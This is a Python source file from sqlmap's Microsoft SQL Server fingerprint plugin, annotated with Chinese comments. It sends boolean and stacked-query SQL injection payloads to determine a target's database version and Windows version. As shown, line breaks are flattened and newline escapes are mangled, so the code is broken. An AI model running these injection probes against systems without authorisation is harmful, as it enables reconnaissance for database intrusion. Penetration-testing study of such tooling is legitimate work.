#!/usr/bin/env python """ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 导入必要的模块 from lib.core.common import Backend # 导入 Backend 类,用于访问后端数据库信息 from lib.core.common import Format # 导入 Format 类,用于格式化输出信息 from lib.core.convert import getUnicode # 导入 getUnicode 函数,用于获取 Unicode 字符串 from lib.core.data import conf # 导入 conf 对象,用于访问全局配置信息 from lib.core.data import kb # 导入 kb 对象,用于访问全局知识库 from lib.core.data import logger # 导入 logger 对象,用于输出日志 from lib.core.enums import DBMS # 导入 DBMS 枚举,定义数据库管理系统类型 from lib.core.enums import OS # 导入 OS 枚举,定义操作系统类型 from lib.core.session import setDbms # 导入 setDbms 函数,用于设置数据库类型 from lib.core.settings import MSSQL_ALIASES # 导入 MSSQL_ALIASES 常量,定义 SQL Server 的别名 from lib.request import inject # 导入 inject 函数,用于执行 SQL 注入请求 from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 导入 GenericFingerprint 类,作为当前类的父类 # 定义 Fingerprint 类,继承自 GenericFingerprint class Fingerprint(GenericFingerprint): # 初始化 Fingerprint 类,设置数据库类型为 MSSQL def __init__(self): GenericFingerprint.__init__(self, DBMS.MSSQL) # 定义 getFingerprint 方法,用于获取数据库指纹信息 def getFingerprint(self): value = "" # 初始化指纹信息字符串 wsOsFp = Format.getOs("web server", kb.headersFp) # 获取 Web 服务器操作系统信息 if wsOsFp: value += "%s\ " % wsOsFp # 将 Web 服务器操作系统信息添加到指纹信息 if kb.data.banner: # 如果存在数据库 banner 信息 dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) # 获取数据库操作系统信息 if dbmsOsFp: value += "%s\ " % dbmsOsFp # 将数据库操作系统信息添加到指纹信息 value += "back-end DBMS: " # 添加数据库类型标签 actVer = Format.getDbms() # 获取数据库类型 if not conf.extensiveFp: # 如果不需要详细指纹信息 value += actVer # 将数据库类型添加到指纹信息 return value # 返回指纹信息 blank = " " * 15 # 定义缩进空格 value += "active fingerprint: %s" % actVer # 添加当前指纹信息 if kb.bannerFp: # 如果存在数据库 banner 信息 release = kb.bannerFp.get("dbmsRelease") # 获取数据库版本发布信息 version = kb.bannerFp.get("dbmsVersion") # 获取数据库版本信息 servicepack = kb.bannerFp.get("dbmsServicePack") # 获取数据库服务包信息 if release and version and servicepack: # 如果所有信息都存在 banVer = "%s %s " % (DBMS.MSSQL, release) # 构建 banner 版本信息 banVer += "Service Pack %s " % servicepack # 添加服务包信息 banVer += "version %s" % version # 添加版本信息 value += "\ %sbanner parsing fingerprint: %s" % (blank, banVer) # 将 banner 版本信息添加到指纹信息 htmlErrorFp = Format.getErrorParsedDBMSes() # 获取 HTML 错误信息中的数据库信息 if htmlErrorFp: value += "\ %shtml error message fingerprint: %s" % (blank, htmlErrorFp) # 将 HTML 错误信息中的数据库信息添加到指纹信息 return value # 返回指纹信息 # 定义 checkDbms 方法,用于检查数据库类型是否为 MSSQL def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): # 如果不需要详细指纹并且数据库别名匹配 setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) # 设置数据库类型 self.getBanner() # 获取数据库 banner 信息 Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows return True # 返回 True infoMsg = "testing %s" % DBMS.MSSQL # 输出正在测试 MSSQL 的信息 logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: # 如果是直接连接 result = True # 直接设置为 True else: result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") # 使用 SQL 注入检查 if result: # 如果检查结果为 True infoMsg = "confirming %s" % DBMS.MSSQL # 输出确认是 MSSQL 的信息 logger.info(infoMsg) # 遍历不同的 MSSQL 版本及其检查语句 for version, check in ( ("2022", "CHARINDEX('16.0.',@@VERSION)>0"), ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), ("2017", "TRIM(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2005", "XACT_STATE()=XACT_STATE()"), ("2000", "HOST_NAME()=HOST_NAME()"), ): result = inject.checkBooleanExpression(check) # 使用 SQL 注入检查版本 if result: Backend.setVersion(version) # 设置数据库版本 break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) # 设置数据库类型和版本 else: setDbms(DBMS.MSSQL) # 设置数据库类型 self.getBanner() # 获取数据库 banner 信息 Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows return True # 返回 True else: # 如果检查结果为 False warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL # 输出警告信息 logger.warning(warnMsg) return False # 返回 False # 定义 checkDbmsOs 方法,用于检查数据库操作系统信息 def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): # 如果已获取操作系统信息,则直接返回 return if not Backend.getOs(): # 如果没有获取操作系统信息 Backend.setOs(OS.WINDOWS) # 设置操作系统类型为 Windows if not detailed: # 如果不需要详细信息,则直接返回 return infoMsg = "fingerprinting the back-end DBMS operating system " # 输出正在获取操作系统版本和服务包的信息 infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() # 输出操作系统类型 self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") # 创建支持表,用于存储版本信息 inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # 将 @@VERSION 写入支持表 # 参考:https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # https://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)), "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) } # 获取数据库操作系统版本 for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) # 构建查询语句 query += "LIKE '%Windows NT " + data[0] + "%')" # 添加版本判断条件 result = inject.checkBooleanExpression(query) # 使用 SQL 注入检查 if result: Backend.setOsVersion(version) # 设置操作系统版本 infoMsg += " %s" % Backend.getOsVersion() # 将操作系统版本信息添加到日志信息 break if not Backend.getOsVersion(): # 如果没有获取到操作系统版本 Backend.setOsVersion("2003") # 默认设置为 2003 Backend.setOsServicePack(2) # 默认设置为服务包 2 warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) # 清理支持表 return # 获取操作系统服务包 sps = versions[Backend.getOsVersion()][1] # 获取服务包列表 for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) # 构建查询语句 query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" # 添加服务包判断条件 result = inject.checkBooleanExpression(query) # 使用 SQL 注入检查 if result: Backend.setOsServicePack(sp) # 设置操作系统服务包 break if not Backend.getOsServicePack(): # 如果没有获取到服务包 debugMsg = "assuming the operating system has no service pack" # 输出调试信息 logger.debug(debugMsg) Backend.setOsServicePack(0) # 默认设置为服务包 0 if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() # 将服务包信息添加到日志信息 logger.info(infoMsg) self.cleanup(onlyFileTbl=True) # 清理支持表